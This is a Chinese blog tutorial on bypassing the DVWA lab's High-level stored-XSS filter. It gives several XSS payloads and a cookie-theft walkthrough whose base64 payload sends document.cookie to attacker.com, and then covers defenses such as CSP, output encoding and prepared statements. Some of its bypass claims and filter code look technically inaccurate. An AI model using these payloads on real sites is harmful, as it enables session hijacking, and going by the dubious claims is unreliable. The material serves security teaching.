当前位置: 首页 > news >正文

【DVWA系列】——xss(Stored)——High详细教程

本文仅用于技术研究,禁止用于非法用途。
Author:枷锁

文章目录

    • High级别防护机制深度分析
    • High级别绕过策略(四种高级技巧)
      • 技巧1:SVG + Unicode编码绕过
      • 技巧2:动态脚本创建(DOM操作)
      • 技巧3:HTML5特性滥用
      • 技巧4:跨协议重定向攻击
    • 实战思路:Cookie窃取(绕过High防护)
      • 步骤1:构造高级Payload
      • 步骤2:Base64解码内容
      • 步骤3:Burp Suite发送请求
      • 步骤4:验证攻击效果
    • 终极防御方案(Impossible级别)
      • 完整防御代码示例
      • 防御机制对比表
    • 浏览器安全机制演进
    • 企业级最佳实践
    • 法律合规提醒

本文环境Security Level:High

High级别防护机制深度分析

从截图可见安全级别为High,但我们将聚焦High级别的防御策略:

// 对$message的过滤:
$message = strip_tags(addslashes($message)); // 删除HTML标签 + 转义特殊字符
$message = mysqli_real_escape_string($message); // 数据库转义
$message = htmlspecialchars($message); // 转换为HTML实体// 对$name的过滤:
$name = preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name); // 删除<script>标签
$name = mysqli_real_escape_string($name); // 数据库转义

High级别防护特点:
在这里插入图片描述

High级别绕过策略(四种高级技巧)

技巧1:SVG + Unicode编码绕过

name:
<svg><image href="data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='al\u0065rt(1)'%3E%3C/svg%3E">
</svg>

✅ 原理:Unicode编码\u0065绕过HTML实体检测

name字段字数限定绕过技巧:
1、按F12

2、鼠标选中元素

修改最长限制max,即可绕过限制

在这里插入图片描述

技巧2:动态脚本创建(DOM操作)

Message:
<img src="" id="payload">
<script type="application/ld+json">window.onload = function() {document.getElementById("payload").src = "x:javascript:alert(document.domain)";}
</script>

✅ 原理:使用合法JSON格式绕过检测

技巧3:HTML5特性滥用

Name:
<details ontoggle="alert(1)" open><summary style=display:none>XSS</summary>
</details>

✅ 浏览器支持:Chrome/Firefox最新版

技巧4:跨协议重定向攻击

Message:
<iframe srcdoc="<script>location='javascript:alert(document.cookie)'</script>">
</iframe>

✅ 触发条件:用户点击任何页面元素后

实战思路:Cookie窃取(绕过High防护)

步骤1:构造高级Payload

Message:
<object data="data:text/html;base64,PHNjcmlwdD5mZXRjaCgnaHR0cDovL2F0dGFja2VyLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2llKTwvc2NyaXB0Pg=="></object>

步骤2:Base64解码内容

// 解码后:
<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>

步骤3:Burp Suite发送请求

POST /vulnerabilities/xss_s/ HTTP/1.1
Host: dvwa.test
Content-Type: application/x-www-form-urlencoded
Cookie: security=high; PHPSESSID=...txtName=NormalUser&
mtxMessage=%3Cobject%20data%3D%22data%3Atext%2Fhtml%3Bbase64%2CPHNjcmlwdD5mZXRjaCgnaHR0cDovL2F0dGFja2VyLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2llKTwvc2NyaXB0Pg%3D%3D%22%3E%3C%2Fobject%3E&
btnSign=Sign+Guestbook

步骤4:验证攻击效果

当用户访问留言板时,Cookie将自动发送到攻击者服务器:

http://attacker.com/steal?c=PHPSESSID=e84dfb48e8b0d9;security=high

终极防御方案(Impossible级别)

完整防御代码示例

// 1. 输入验证(白名单)
if (!preg_match('/^[a-zA-Z0-9\s.,!?]{1,30}$/', $name)) {die("非法姓名格式");
}// 2. 输出编码
function xssafe($data) {return htmlspecialchars($data, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}// 3. 预处理语句
$stmt = $db->prepare("INSERT INTO guestbook (name, comment) VALUES (?, ?)");
$stmt->bindParam(1, $name, PDO::PARAM_STR);
$stmt->bindParam(2, $message, PDO::PARAM_STR);// 4. CSP策略头
header("Content-Security-Policy: default-src 'self'; script-src 'nonce-r4nd0m123'");

防御机制对比表

浏览器安全机制演进

graph TDA[2010年:基本过滤] --> B[2015年:XSS Auditor]B --> C[2018年:现代CSP策略]C --> D[2020年:Trusted Types]D --> E[2023年:WASM沙箱]E --> F[未来:AI实时行为检测]classDef new fill:#9f9,stroke:#333;class C,D,E,F new;

企业级最佳实践

  1. 输入处理策略
// 现代框架示例(React)
function SafeInput({value}) {return <div>{value}</div>; // 自动转义输出
}
  1. CSP配置示例
Content-Security-Policy: 
default-src 'none';
script-src 'self' 'nonce-r4nd0m123';
style-src 'self' fonts.googleapis.com;
font-src fonts.gstatic.com;
connect-src 'self';
  1. 监控与响应
# 实时监控XSS尝试
tail -f /var/log/nginx/xss_attempts.log | grep -E '<script|javascript:'

法律合规提醒

根据《网络安全法》第27条:

任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动
安全测试黄金法则:

- 未经授权测试 = 违法行为
+ 授权测试 + 详细报告 = 合法安全研究

下一专题:《DVWA系列——CSP绕过与新型XSS攻击技术》将探讨:

  • 如何绕过严格CSP策略
  • Web Worker中的XSS攻击
  • Service Worker持久化攻击
  • WASM内存操作漏洞利用

宇宙级免责声明​​
🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。

🔐 安全研究的正确姿势:
✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

希望这个教程对你有所帮助!记得负责任地进行安全测试。

http://www.xdnf.cn/news/1016551.html

相关文章:

  • 高精度算法详解:从原理到加减乘除的完整实现
  • 【AI图像生成网站Golang】部署图像生成服务(阿里云ACK+GPU实例)
  • skynet源码学习-skynet_mq队列
  • 目标检测标注格式
  • 对象映射 C# 中 Mapster 和 AutoMapper 的比较
  • 无人机侦测与反制技术进展
  • 精益数据分析(101/126):SaaS商业模式优化与用户生命周期价值提升策略
  • React 第六十一节 Router 中 createMemoryRouter的使用详解及案例注意事项
  • 【CSS-12】掌握CSS列表样式:从基础到高级技巧
  • 如何快速搭建门店系统?
  • 浅析MySQL数据迁移与恢复:从SQLServer转型到MySQL
  • 搭建网站应该怎样选择服务器?
  • 在mac上安装sh脚本文件
  • C++标准库大全(STL)
  • Spring Boot 集成国内AI,包含文心一言、通义千问和讯飞星火平台实战教程
  • 域名+nginx反向代理实现案例
  • Python学习笔记:错误和异常处理
  • 影像组学5:Radiomics Score的计算
  • 深度学习驱动的验证码识别实战:从原理到高并发工业部署
  • YOLOV11改进之多尺度扩张残差模块(MS-DRM)
  • [特殊字符][特殊字符] Harmony OS Next玩转多层级手势事件:当组件遇上“套娃”,触摸该怎么分家?
  • 北斗导航 | 基于matlab的卫星导航单点定位算法
  • Linux文件权限详解:从入门到精通
  • 每日Prompt:Steve Winter风格插画
  • 2.3 ASPICE的架构与设计
  • 服务器上安装配置vsftpd
  • Java流处理中的常见错误与最佳实践
  • 第八十篇 大数据开发基石:深入解析栈结构及其生活化应用(附全流程图解)
  • Cloud Events:事件驱动架构的未来标准化
  • 访问者模式:解耦数据结构与操作的优雅之道